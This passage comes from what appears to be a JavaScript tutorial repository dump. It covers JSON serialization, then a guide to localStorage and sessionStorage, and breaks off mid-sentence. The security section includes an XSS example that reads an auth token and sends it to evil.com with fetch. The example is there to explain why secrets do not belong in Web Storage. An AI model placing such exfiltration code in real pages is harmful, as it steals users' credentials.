clone = JSON.parse(JSON.stringify(original))\n\nclone.b.c = 999\nconsole.log(original.b.c)  // 2 (unchanged)\n```\n\n<Warning>\n**Deep Clone Limitations:** This method loses functions, undefined values, Symbols, and prototype chains. For complex objects, use `structuredClone()` instead.\n</Warning>\n\n### Local Storage Wrapper\n\n```javascript\nconst storage = {\n  set(key, value) {\n    localStorage.setItem(key, JSON.stringify(value))\n  },\n  \n  get(key, defaultValue = null) {\n    const item = localStorage.getItem(key)\n    if (item === null) return defaultValue\n    \n    try {\n      return JSON.parse(item)\n    } catch {\n      return defaultValue\n    }\n  },\n  \n  remove(key) {\n    localStorage.removeItem(key)\n  }\n}\n\n// Usage\nstorage.set('user', { name: 'Alice', preferences: { theme: 'dark' } })\nconst user = storage.get('user')\n```\n\n### API Response Transformation\n\n```javascript\n// Transform API response during parsing\nasync function fetchUser(id) {\n  const response = await fetch(`/api/users/${id}`)\n  const text = await response.text()\n  \n  return JSON.parse(text, (key, value) => {\n    // Convert date strings to Date objects\n    if (key.endsWith('At') && typeof value === 'string') {\n      return new Date(value)\n    }\n    // Convert cent amounts to dollars\n    if (key.endsWith('Cents') && typeof value === 'number') {\n      return value / 100\n    }\n    return value\n  })\n}\n```\n\n### Logging with Redaction\n\n```javascript\nfunction safeLog(obj, sensitiveKeys = ['password', 'token', 'secret']) {\n  const redacted = JSON.stringify(obj, (key, value) => {\n    if (sensitiveKeys.includes(key.toLowerCase())) {\n      return '[REDACTED]'\n    }\n    return value\n  }, 2)\n  \n  console.log(redacted)\n}\n\nsafeLog({\n  user: 'alice',\n  password: 'secret123',\n  data: { apiToken: 'abc123' }\n})\n/*\n{\n  \"user\": \"alice\",\n  \"password\": \"[REDACTED]\",\n  \"data\": {\n    \"apiToken\": \"[REDACTED]\"\n  }\n}\n*/\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **JSON.stringify() has 3 parameters:** value, replacer, and space. Most developers only use the first.\n\n2. **Replacer can be a function or array.** Functions transform each value; arrays whitelist properties.\n\n3. **Not everything survives stringify.** Functions, undefined, and Symbols are lost. NaN and Infinity become null.\n\n4. **JSON.parse() revivers work inside-out.** Innermost values are processed first, root object last.\n\n5. **Dates become strings.** Use a reviver to convert them back to Date objects.\n\n6. **Maps and Sets become empty objects.** You need custom replacer/reviver pairs to preserve them.\n\n7. **BigInt throws by default.** Use a replacer to convert to strings or marked objects.\n\n8. **Circular references throw errors.** Track seen objects with a WeakSet in your replacer.\n\n9. **toJSON() controls serialization.** Objects with this method return its result instead of themselves.\n\n10. **For deep cloning, consider structuredClone().** JSON round-tripping loses too much for complex objects.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What happens when you stringify an object with a function property?\">\n    **Answer:**\n    \n    Function properties are silently omitted from the JSON output:\n    \n    ```javascript\n    const obj = {\n      name: 'Alice',\n      greet: function() { return 'Hi!' }\n    }\n    \n    JSON.stringify(obj)  // '{\"name\":\"Alice\"}'\n    // The 'greet' property is completely missing\n    ```\n    \n    The same applies to `undefined` values and Symbol keys. In arrays, these values become `null` instead of being omitted.\n  </Accordion>\n  \n  <Accordion title=\"How do you exclude specific properties during serialization?\">\n    **Answer:**\n    \n    You have two options:\n    \n    **Option 1: Array replacer (simple whitelist)**\n    ```javascript\n    const user = { id: 1, name: 'Alice', password: 'secret' }\n    JSON.stringify(user, ['id', 'name'])  // '{\"id\":1,\"name\":\"Alice\"}'\n    ```\n    \n    **Option 2: Function replacer (more flexible)**\n    ```javascript\n    JSON.stringify(user, (key, value) => {\n      if (key === 'password') return undefined  // Exclude\n      return value\n    })\n    ```\n    \n    The function approach is more powerful because it can handle nested objects and conditional logic.\n  </Accordion>\n  \n  <Accordion title=\"Why does JSON.parse() of a date string not return a Date object?\">\n    **Answer:**\n    \n    JSON has no native Date type. When you `stringify` a Date, it becomes an ISO 8601 string. When you `parse` that string, JavaScript has no way to know it was originally a Date:\n    \n    ```javascript\n    const original = { created: new Date() }\n    const json = JSON.stringify(original)\n    // '{\"created\":\"2024-01-15T10:30:00.000Z\"}'\n    \n    const parsed = JSON.parse(json)\n    console.log(typeof parsed.created)  // \"string\" (not Date!)\n    ```\n    \n    Use a reviver function to convert date strings back to Date objects:\n    \n    ```javascript\n    JSON.parse(json, (key, value) => {\n      if (key === 'created') return new Date(value)\n      return value\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What's the difference between replacer and toJSON()?\">\n    **Answer:**\n    \n    - **`toJSON()`** is defined on the object being serialized. It controls how that specific object is converted.\n    - **Replacer** is passed to `stringify()` and runs on every value in the entire object tree.\n    \n    ```javascript\n    // toJSON: Object controls its own serialization\n    const user = {\n      name: 'Alice',\n      password: 'secret',\n      toJSON() {\n        return { name: this.name }  // Hides password\n      }\n    }\n    \n    // Replacer: External control over all values\n    JSON.stringify(data, (key, value) => {\n      if (key === 'password') return undefined\n      return value\n    })\n    ```\n    \n    When both are present, `toJSON()` runs first, then the replacer processes its result.\n  </Accordion>\n  \n  <Accordion title=\"How do you handle circular references?\">\n    **Answer:**\n    \n    Use a WeakSet to track objects you've already seen:\n    \n    ```javascript\n    function safeStringify(obj) {\n      const seen = new WeakSet()\n      \n      return JSON.stringify(obj, (key, value) => {\n        if (typeof value === 'object' && value !== null) {\n          if (seen.has(value)) {\n            return '[Circular]'\n          }\n          seen.add(value)\n        }\n        return value\n      })\n    }\n    \n    const obj = { name: 'test' }\n    obj.self = obj\n    \n    safeStringify(obj)  // '{\"name\":\"test\",\"self\":\"[Circular]\"}'\n    ```\n    \n    WeakSet is ideal here because it doesn't prevent garbage collection and only stores objects.\n  </Accordion>\n  \n  <Accordion title=\"How do you pretty-print JSON with custom indentation?\">\n    **Answer:**\n    \n    Use the third parameter (`space`) of `JSON.stringify()`:\n    \n    ```javascript\n    const data = { name: 'Alice', age: 30 }\n    \n    // 2-space indentation\n    JSON.stringify(data, null, 2)\n    \n    // 4-space indentation\n    JSON.stringify(data, null, 4)\n    \n    // Tab indentation\n    JSON.stringify(data, null, '\\t')\n    \n    // Custom string (max 10 characters)\n    JSON.stringify(data, null, '>> ')\n    ```\n    \n    Numbers are clamped to 10, and strings are truncated to 10 characters.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What does JSON.stringify() do with undefined, functions, and Symbols?\">\n    `JSON.stringify()` silently omits properties whose values are `undefined`, functions, or Symbols. In arrays, these values are replaced with `null`. MDN documents this behavior as part of the serialization algorithm defined in the ECMA-262 specification.\n  </Accordion>\n\n  <Accordion title=\"What is a replacer function in JSON.stringify()?\">\n    A replacer is the optional second argument to `JSON.stringify()` — either a function or an array. A function receives each key-value pair and can transform or exclude values by returning `undefined`. An array acts as a whitelist, including only the listed property names in the output.\n  </Accordion>\n\n  <Accordion title=\"How do I handle circular references in JSON?\">\n    `JSON.stringify()` throws a `TypeError` when it encounters circular references. Solutions include using a replacer function that tracks seen objects, libraries like `flatted` or `circular-json`, or restructuring your data to eliminate cycles before serialization.\n  </Accordion>\n\n  <Accordion title=\"What is the reviver parameter in JSON.parse()?\">\n    The reviver is an optional second argument to `JSON.parse()` that transforms values during parsing. It's commonly used to convert ISO date strings back into `Date` objects. The reviver function receives each key-value pair and returns the transformed value.\n  </Accordion>\n\n  <Accordion title=\"How do I pretty-print JSON in JavaScript?\">\n    Pass a third argument to `JSON.stringify()` for indentation: `JSON.stringify(data, null, 2)` adds 2-space indentation. You can use a number (1-10) for spaces or a string like `'\\t'` for tabs. According to the ECMA-404 specification, whitespace in JSON is purely cosmetic.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Object Methods\" icon=\"cube\" href=\"/beyond/concepts/object-methods\">\n    Built-in methods for working with objects, which JSON serialization relies on.\n  </Card>\n  <Card title=\"localStorage & sessionStorage\" icon=\"database\" href=\"/beyond/concepts/localstorage-sessionstorage\">\n    Web Storage APIs that commonly use JSON for storing complex data.\n  </Card>\n  <Card title=\"Fetch API\" icon=\"globe\" href=\"/concepts/http-fetch\">\n    Making HTTP requests where JSON is the standard data format.\n  </Card>\n  <Card title=\"Error Handling\" icon=\"triangle-exclamation\" href=\"/concepts/error-handling\">\n    Properly handling JSON.parse errors for invalid input.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"JSON — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON\">\n    Complete reference for the JSON global object and its methods.\n  </Card>\n  <Card title=\"JSON.stringify() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify\">\n    Detailed documentation for the stringify method with all parameters.\n  </Card>\n  <Card title=\"JSON.parse() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse\">\n    Documentation for parsing JSON strings with reviver functions.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JSON methods, toJSON — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/json\">\n    Comprehensive tutorial covering JSON.stringify, JSON.parse, toJSON, and practical examples. Great for learning the fundamentals with interactive exercises.\n  </Card>\n  <Card title=\"How to Use JSON.stringify() and JSON.parse() — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/json-stringify-example-how-to-parse-a-json-object-with-javascript/\">\n    Detailed tutorial covering all aspects of JSON serialization including replacers, revivers, and practical examples for web developers.\n  </Card>\n  <Card title=\"Circular References in JavaScript — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Cyclic_object_value\">\n    Official documentation explaining circular reference errors and strategies to handle them in JSON serialization.\n  </Card>\n  <Card title=\"Working with JSON — MDN Guide\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/JSON\">\n    MDN's beginner-friendly guide to JSON, including fetching JSON data and working with APIs.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JSON Parse & Stringify — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=l3sCILAHmSw\">\n    Clear explanation of JSON basics plus advanced topics like replacers and revivers. Kyle's teaching style makes complex concepts accessible.\n  </Card>\n  <Card title=\"JavaScript JSON Methods — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=wI1CWzNtE-M\">\n    Practical walkthrough of JSON methods with real coding examples. Great for seeing how JSON is used in actual web development.\n  </Card>\n  <Card title=\"JSON in 100 Seconds — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=iiADhChRriM\">\n    Lightning-fast overview of JSON format and JavaScript methods. Perfect refresher if you already know the basics.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/localstorage-sessionstorage.mdx",
    "content": "---\ntitle: \"localStorage & sessionStorage\"\nsidebarTitle: \"localStorage & sessionStorage\"\ndescription: \"Master Web Storage APIs in JavaScript. Learn localStorage vs sessionStorage, JSON serialization, storage events, security best practices, and when to use each.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Browser Storage\"\n\"article:tag\": \"localstorage sessionstorage, web storage api, persistent storage, json serialization, storage events\"\n---\n\nHow do you keep a user's dark mode preference when they return to your site? Why does your shopping cart persist across browser sessions, but form data vanishes when you close a tab? How do modern web apps remember state without constantly calling the server?\n\n```javascript\n// Save user preference - persists forever (until cleared)\nlocalStorage.setItem(\"theme\", \"dark\")\n\n// Retrieve the preference later\nconst theme = localStorage.getItem(\"theme\")  // \"dark\"\n\n// Temporary data - gone when tab closes\nsessionStorage.setItem(\"formDraft\", \"Hello...\")\n\n// Check what's stored\nconsole.log(localStorage.length)  // 1\nconsole.log(sessionStorage.length)  // 1\n```\n\nThe answer is the **[Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)**. Supported by over 97% of browsers worldwide according to Can I Use, it's one of the most practical browser APIs you'll use daily, and understanding when to use `localStorage` vs `sessionStorage` will make your applications more user-friendly and performant.\n\n<Info>\n**What you'll learn in this guide:**\n- The difference between [`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) and [`sessionStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)\n- The complete Web Storage API (`setItem`, `getItem`, `removeItem`, `clear`, `key`, `length`)\n- Storing complex data with [JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON) serialization\n- Storage events for cross-tab communication\n- Storage limits, quotas, and private browsing behavior\n- Security considerations and XSS prevention\n- When to use Web Storage vs cookies vs IndexedDB\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you're familiar with the [DOM](/concepts/dom) and basic JavaScript objects. Understanding [JSON](/beyond/concepts/json-deep-dive) will help with the serialization sections.\n</Warning>\n\n---\n\n## What is Web Storage in JavaScript?\n\n**[Web Storage](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)** is a browser API that allows JavaScript to store key-value pairs locally in the user's browser. Unlike cookies, stored data is never sent to the server with HTTP requests. Web Storage provides two mechanisms: `localStorage` for persistent storage that survives browser restarts, and `sessionStorage` for temporary storage that is cleared when the browser tab closes.\n\nHere's the key insight: Web Storage is synchronous, string-only, and scoped to the origin (protocol + domain + port). As MDN documents, these constraints make it simple to use but require understanding for effective implementation — particularly the synchronous nature, which can block the main thread with large data operations.\n\n<Note>\nWeb Storage has been available in all major browsers since July 2015. It's part of the HTML5 specification and is considered a \"Baseline\" feature—meaning you can rely on it working everywhere.\n</Note>\n\n---\n\n## The Hotel Storage Analogy\n\nThink of browser storage like staying at a hotel:\n\n**localStorage** is like a **permanent storage locker** at the hotel. You rent it once, and your belongings stay there even if you leave and come back months later. The only way items disappear is if you remove them yourself or the hotel clears them out.\n\n**sessionStorage** is like the **safe in your hotel room**. It's convenient and secure while you're staying, but the moment you check out (close the tab), everything in the safe is cleared. Each room (tab) has its own separate safe.\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                     WEB STORAGE: THE HOTEL ANALOGY                           │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   localStorage                          sessionStorage                       │\n│   ═══════════                          ══════════════                        │\n│                                                                              │\n│   ┌─────────────────┐                  ┌─────────────────┐                   │\n│   │ STORAGE LOCKER  │                  │   ROOM SAFE     │                   │\n│   │                 │                  │                 │                   │\n│   │  ┌───────────┐  │                  │  ┌───────────┐  │                   │\n│   │  │ Theme:    │  │                  │  │ Form:     │  │                   │\n│   │  │ \"dark\"    │  │                  │  │ \"draft\"   │  │                   │\n│   │  ├───────────┤  │                  │  └───────────┘  │                   │\n│   │  │ User:     │  │                  │                 │                   │\n│   │  │ \"Alice\"   │  │                  │  Cleared when   │                   │\n│   │  └───────────┘  │                  │  tab closes     │                   │\n│   │                 │                  │                 │                   │\n│   │  Persists       │                  └─────────────────┘                   │\n│   │  forever        │                                                        │\n│   └─────────────────┘                  Each tab has its own safe!            │\n│                                                                              │\n│   Shared across ALL                    ┌─────────┐ ┌─────────┐               │\n│   tabs and windows                     │ Tab 1   │ │ Tab 2   │               │\n│   from same origin                     │ Safe A  │ │ Safe B  │               │\n│                                        └─────────┘ └─────────┘               │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\nThis is exactly how Web Storage works:\n- **localStorage**: Shared across all tabs/windows from the same origin, persists until explicitly cleared\n- **sessionStorage**: Isolated to each tab, cleared when the tab closes\n\n---\n\n## localStorage vs sessionStorage Comparison\n\nBoth APIs share the exact same methods, but their behavior differs significantly:\n\n| Feature | localStorage | sessionStorage |\n|---------|-------------|----------------|\n| **Persistence** | Until explicitly cleared | Until tab/window closes |\n| **Scope** | Shared across all tabs/windows | Isolated to single tab |\n| **Survives browser restart** | Yes | No |\n| **Survives page refresh** | Yes | Yes |\n| **Storage limit** | ~5-10 MB per origin | ~5-10 MB per origin |\n| **Accessible from** | Any tab with same origin | Only the originating tab |\n\n### When to Use Each\n\n<Tabs>\n  <Tab title=\"Use localStorage for\">\n    ```javascript\n    // User preferences that should persist\n    localStorage.setItem(\"theme\", \"dark\")\n    localStorage.setItem(\"language\", \"en\")\n    localStorage.setItem(\"fontSize\", \"16px\")\n    \n    // Recently viewed items\n    const recentItems = [\"item1\", \"item2\", \"item3\"]\n    localStorage.setItem(\"recentlyViewed\", JSON.stringify(recentItems))\n    \n    // Feature flags or A/B test assignments\n    localStorage.setItem(\"experiment_checkout_v2\", \"true\")\n    ```\n  </Tab>\n  <Tab title=\"Use sessionStorage for\">\n    ```javascript\n    // Form data that shouldn't persist after session\n    sessionStorage.setItem(\"checkoutStep\", \"2\")\n    sessionStorage.setItem(\"formDraft\", JSON.stringify(formData))\n    \n    // Temporary navigation state\n    sessionStorage.setItem(\"scrollPosition\", \"450\")\n    sessionStorage.setItem(\"lastSearchQuery\", \"javascript tutorials\")\n    \n    // One-time messages or notifications\n    sessionStorage.setItem(\"welcomeShown\", \"true\")\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## The Web Storage API\n\nBoth `localStorage` and `sessionStorage` implement the [`Storage`](https://developer.mozilla.org/en-US/docs/Web/API/Storage) interface, providing identical methods:\n\n### setItem(key, value)\n\nStores a key-value pair. If the key already exists, updates the value.\n\n```javascript\n// Basic usage\nlocalStorage.setItem(\"username\", \"alice\")\nsessionStorage.setItem(\"sessionId\", \"abc123\")\n\n// Overwrites existing value\nlocalStorage.setItem(\"username\", \"bob\")  // Now \"bob\"\n```\n\n### getItem(key)\n\nRetrieves the value for a key. Returns `null` if the key doesn't exist.\n\n```javascript\nconst username = localStorage.getItem(\"username\")  // \"bob\"\nconst missing = localStorage.getItem(\"nonexistent\")  // null\n\n// Common pattern: provide default value\nconst theme = localStorage.getItem(\"theme\") || \"light\"\n```\n\n### removeItem(key)\n\nRemoves a specific key-value pair.\n\n```javascript\nlocalStorage.removeItem(\"username\")\nlocalStorage.getItem(\"username\")  // null\n```\n\n### clear()\n\nRemoves ALL key-value pairs from storage.\n\n```javascript\n// Clear everything - use with caution!\nlocalStorage.clear()\nsessionStorage.clear()\n```\n\n### key(index)\n\nReturns the key at a given index. Useful for iterating.\n\n```javascript\nlocalStorage.setItem(\"a\", \"1\")\nlocalStorage.setItem(\"b\", \"2\")\n\nlocalStorage.key(0)  // \"a\" (order not guaranteed)\nlocalStorage.key(1)  // \"b\"\nlocalStorage.key(99)  // null (index out of bounds)\n```\n\n### length\n\nProperty that returns the number of stored items.\n\n```javascript\nlocalStorage.clear()\nlocalStorage.setItem(\"x\", \"1\")\nlocalStorage.setItem(\"y\", \"2\")\n\nconsole.log(localStorage.length)  // 2\n```\n\n### Complete Example\n\n```javascript\n// A simple storage utility\nfunction demonstrateStorageAPI() {\n  // Clear previous data\n  localStorage.clear()\n  \n  // Store some items\n  localStorage.setItem(\"name\", \"Alice\")\n  localStorage.setItem(\"role\", \"Developer\")\n  localStorage.setItem(\"level\", \"Senior\")\n  \n  console.log(\"Items stored:\", localStorage.length)  // 3\n  \n  // Read an item\n  console.log(\"Name:\", localStorage.getItem(\"name\"))  // \"Alice\"\n  \n  // Update an item\n  localStorage.setItem(\"level\", \"Lead\")\n  console.log(\"Updated level:\", localStorage.getItem(\"level\"))  // \"Lead\"\n  \n  // Iterate over all items\n  for (let i = 0; i < localStorage.length; i++) {\n    const key = localStorage.key(i)\n    const value = localStorage.getItem(key)\n    console.log(`${key}: ${value}`)\n  }\n  \n  // Remove one item\n  localStorage.removeItem(\"role\")\n  console.log(\"After removal:\", localStorage.length)  // 2\n  \n  // Clear everything\n  localStorage.clear()\n  console.log(\"After clear:\", localStorage.length)  // 0\n}\n```\n\n---\n\n## Storing Complex Data with JSON\n\nWeb Storage can only store strings. When you try to store other types, they're automatically converted to strings—often with unexpected results:\n\n```javascript\n// Numbers become strings\nlocalStorage.setItem(\"count\", 42)\ntypeof localStorage.getItem(\"count\")  // \"string\", value is \"42\"\n\n// Booleans become strings\nlocalStorage.setItem(\"isActive\", true)\nlocalStorage.getItem(\"isActive\")  // \"true\" (string, not boolean!)\n\n// Objects become \"[object Object]\" - NOT useful!\nlocalStorage.setItem(\"user\", { name: \"Alice\" })\nlocalStorage.getItem(\"user\")  // \"[object Object]\" - data lost!\n\n// Arrays become comma-separated strings\nlocalStorage.setItem(\"items\", [1, 2, 3])\nlocalStorage.getItem(\"items\")  // \"1,2,3\" (string, not array)\n```\n\n### The Solution: JSON.stringify and JSON.parse\n\nUse [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) when storing and [`JSON.parse()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) when retrieving:\n\n```javascript\n// Storing objects\nconst user = { name: \"Alice\", age: 30, roles: [\"admin\", \"user\"] }\nlocalStorage.setItem(\"user\", JSON.stringify(user))\n\n// Retrieving objects\nconst storedUser = JSON.parse(localStorage.getItem(\"user\"))\nconsole.log(storedUser.name)  // \"Alice\"\nconsole.log(storedUser.roles)  // [\"admin\", \"user\"]\n\n// Storing arrays\nconst favorites = [\"item1\", \"item2\", \"item3\"]\nlocalStorage.setItem(\"favorites\", JSON.stringify(favorites))\n\nconst storedFavorites = JSON.parse(localStorage.getItem(\"favorites\"))\nconsole.log(storedFavorites[0])  // \"item1\"\n```\n\n### A Safer Storage Wrapper\n\nCreate a utility that handles JSON automatically and provides safe defaults:\n\n```javascript\nconst storage = {\n  set(key, value) {\n    try {\n      localStorage.setItem(key, JSON.stringify(value))\n      return true\n    } catch (error) {\n      console.error(\"Storage set failed:\", error)\n      return false\n    }\n  },\n  \n  get(key, defaultValue = null) {\n    try {\n      const item = localStorage.getItem(key)\n      return item ? JSON.parse(item) : defaultValue\n    } catch (error) {\n      console.error(\"Storage get failed:\", error)\n      return defaultValue\n    }\n  },\n  \n  remove(key) {\n    localStorage.removeItem(key)\n  },\n  \n  clear() {\n    localStorage.clear()\n  }\n}\n\n// Usage - much cleaner!\nstorage.set(\"user\", { name: \"Alice\", premium: true })\nconst user = storage.get(\"user\")  // { name: \"Alice\", premium: true }\nconst missing = storage.get(\"nonexistent\", { guest: true })  // { guest: true }\n```\n\n### JSON Gotchas\n\nBe aware of these limitations when using JSON serialization:\n\n```javascript\n// Date objects become strings\nconst data = { created: new Date() }\nlocalStorage.setItem(\"data\", JSON.stringify(data))\nconst parsed = JSON.parse(localStorage.getItem(\"data\"))\nconsole.log(typeof parsed.created)  // \"string\", not Date object!\n\n// To fix: parse dates manually\nparsed.created = new Date(parsed.created)\n\n// undefined values are lost\nconst obj = { a: 1, b: undefined }\nJSON.stringify(obj)  // '{\"a\":1}' - 'b' is gone!\n\n// Functions are not serializable\nconst withFunction = { greet: () => \"hello\" }\nJSON.stringify(withFunction)  // '{}' - function is gone!\n\n// Circular references throw errors\nconst circular = { name: \"test\" }\ncircular.self = circular\nJSON.stringify(circular)  // TypeError: Converting circular structure to JSON\n```\n\n---\n\n## Storage Events for Cross-Tab Communication\n\nThe [`storage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event) event fires when storage is modified from **another** document (tab/window) with the same origin. This enables cross-tab communication.\n\n<Warning>\n**Important:** The storage event does NOT fire in the tab that made the change—only in OTHER tabs. This is a common source of confusion!\n</Warning>\n\n```javascript\n// Listen for storage changes from other tabs\nwindow.addEventListener(\"storage\", (event) => {\n  console.log(\"Storage changed!\")\n  console.log(\"Key:\", event.key)           // The key that changed\n  console.log(\"Old value:\", event.oldValue)  // Previous value\n  console.log(\"New value:\", event.newValue)  // New value\n  console.log(\"URL:\", event.url)           // URL of the document that changed it\n  console.log(\"Storage area:\", event.storageArea)  // localStorage or sessionStorage\n})\n```\n\n### The StorageEvent Properties\n\n| Property | Description |\n|----------|-------------|\n| `key` | The key that was changed (`null` if `clear()` was called) |\n| `oldValue` | The previous value (`null` if new key) |\n| `newValue` | The new value (`null` if key was removed) |\n| `url` | The URL of the document that made the change |\n| `storageArea` | The Storage object that was modified |\n\n### Practical Example: Syncing Logout Across Tabs\n\n```javascript\n// In your authentication module\nfunction setupAuthSync() {\n  window.addEventListener(\"storage\", (event) => {\n    // User logged out in another tab\n    if (event.key === \"authToken\" && event.newValue === null) {\n      console.log(\"User logged out in another tab\")\n      window.location.href = \"/login\"\n    }\n    \n    // User logged in another tab\n    if (event.key === \"authToken\" && event.oldValue === null) {\n      console.log(\"User logged in from another tab\")\n      window.location.reload()\n    }\n  })\n}\n\n// When user logs out\nfunction logout() {\n  localStorage.removeItem(\"authToken\")  // This triggers event in OTHER tabs\n  window.location.href = \"/login\"\n}\n```\n\n### Testing Storage Events\n\nSince storage events only fire in other tabs, here's how to test manually:\n\n1. Open your site in two browser tabs\n2. Open DevTools console in both tabs\n3. In Tab 1, add the event listener:\n   ```javascript\n   window.addEventListener(\"storage\", (e) => console.log(\"Changed:\", e.key))\n   ```\n4. In Tab 2, modify storage:\n   ```javascript\n   localStorage.setItem(\"test\", \"value\")\n   ```\n5. Tab 1's console will show: `Changed: test`\n\n---\n\n## Storage Limits and Quotas\n\nWeb Storage has size limits that vary by browser:\n\n| Browser | localStorage Limit | sessionStorage Limit |\n|---------|-------------------|---------------------|\n| Chrome | ~5 MB | ~5 MB |\n| Firefox | ~5 MB | ~5 MB |\n| Safari | ~5 MB | ~5 MB |\n| Edge | ~5 MB | ~5 MB |\n\n<Note>\nThe limit is per **origin** (protocol + domain + port), not per page. All pages on `https://example.com` share the same 5 MB quota.\n</Note>\n\n### Handling QuotaExceededError\n\nWhen you exceed the limit, `setItem()` throws a [`QuotaExceededError`](https://developer.mozilla.org/en-US/docs/Web/API/DOMException):\n\n```javascript\nfunction safeSetItem(key, value) {\n  try {\n    localStorage.setItem(key, value)\n    return true\n  } catch (error) {\n    if (error.name === \"QuotaExceededError\") {\n      console.error(\"Storage quota exceeded!\")\n      // Handle gracefully: clear old data, notify user, etc.\n      return false\n    }\n    throw error  // Re-throw unexpected errors\n  }\n}\n\n// Usage\nconst largeData = \"x\".repeat(10 * 1024 * 1024)  // 10 MB string\nif (!safeSetItem(\"largeData\", largeData)) {\n  console.log(\"Failed to save - storage full\")\n}\n```\n\n### Private Browsing / Incognito Mode\n\nWeb Storage behaves differently in private browsing:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    PRIVATE BROWSING BEHAVIOR                                 │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   Browser        Behavior in Private Mode                                    │\n│   ───────────────────────────────────────────────────────────────────────    │\n│   Safari         localStorage throws QuotaExceededError on ANY write         │\n│   Chrome         localStorage works but cleared when window closes           │\n│   Firefox        localStorage works but cleared when window closes           │\n│   Edge           localStorage works but cleared when window closes           │\n│                                                                              │\n│   All browsers: sessionStorage works normally but cleared on close           │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\nAlways use feature detection to handle these cases gracefully.\n\n---\n\n## Feature Detection\n\nAlways check if Web Storage is available before using it:\n\n```javascript\nfunction storageAvailable(type) {\n  try {\n    const storage = window[type]\n    const testKey = \"__storage_test__\"\n    storage.setItem(testKey, testKey)\n    storage.removeItem(testKey)\n    return true\n  } catch (error) {\n    return (\n      error instanceof DOMException &&\n      error.name === \"QuotaExceededError\" &&\n      // Acknowledge QuotaExceededError only if there's something already stored\n      storage && storage.length !== 0\n    )\n  }\n}\n\n// Usage\nif (storageAvailable(\"localStorage\")) {\n  // Safe to use localStorage\n  localStorage.setItem(\"key\", \"value\")\n} else {\n  // Fall back to cookies, memory storage, or inform user\n  console.warn(\"localStorage not available\")\n}\n\nif (storageAvailable(\"sessionStorage\")) {\n  // Safe to use sessionStorage\n  sessionStorage.setItem(\"key\", \"value\")\n}\n```\n\n---\n\n## Security Considerations\n\n<Warning>\n**Critical Security Warning:** Never store sensitive data in Web Storage. localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can access localStorage—including malicious scripts injected by attackers.\n</Warning>\n\n### What NOT to Store\n\n```javascript\n// NEVER store these in localStorage or sessionStorage:\nlocalStorage.setItem(\"password\", \"secret123\")        // Passwords\nlocalStorage.setItem(\"creditCard\", \"4111111111111111\")  // Payment info\nlocalStorage.setItem(\"ssn\", \"123-45-6789\")           // Personal identifiers\nlocalStorage.setItem(\"authToken\", \"jwt.token.here\")  // Auth tokens (use HTTP-only cookies)\nlocalStorage.setItem(\"apiKey\", \"sk-abc123\")          // API keys\n```\n\n### Why localStorage is Vulnerable\n\n```javascript\n// If an attacker can inject JavaScript (XSS), they can:\nconst stolenData = localStorage.getItem(\"authToken\")\n// Send to attacker's server\nfetch(\"https://evil.com/steal?token=\" + stolenData)\n\n// Or steal ALL stored data\nfor (let i = 0; i < localStorage.length; i++) {\n  const key = localStorage.key(i)\n  const value = localStorage.getItem(key)\n  // Exfiltrate everything...\n}\n```\n\n### Best Practices\n\n1. **Store only non-sensitive data**: User preferences, UI state, cached public data\n2. **Use HTTP-only cookies for authentication**: Tokens, session IDs\n3. **Implement Content Security Policy (CSP)**: Prevent XSS attacks\n4. **Sanitize all user input**: Never trust data from users\n5. **Consider encryption for semi-sensitive data**: Though this adds complexity\n\nThe OWASP Foundation explicitly recommends against storing sensitive data in Web Storage. For comprehensive security guidance, see the [OWASP HTML5 Security Cheat 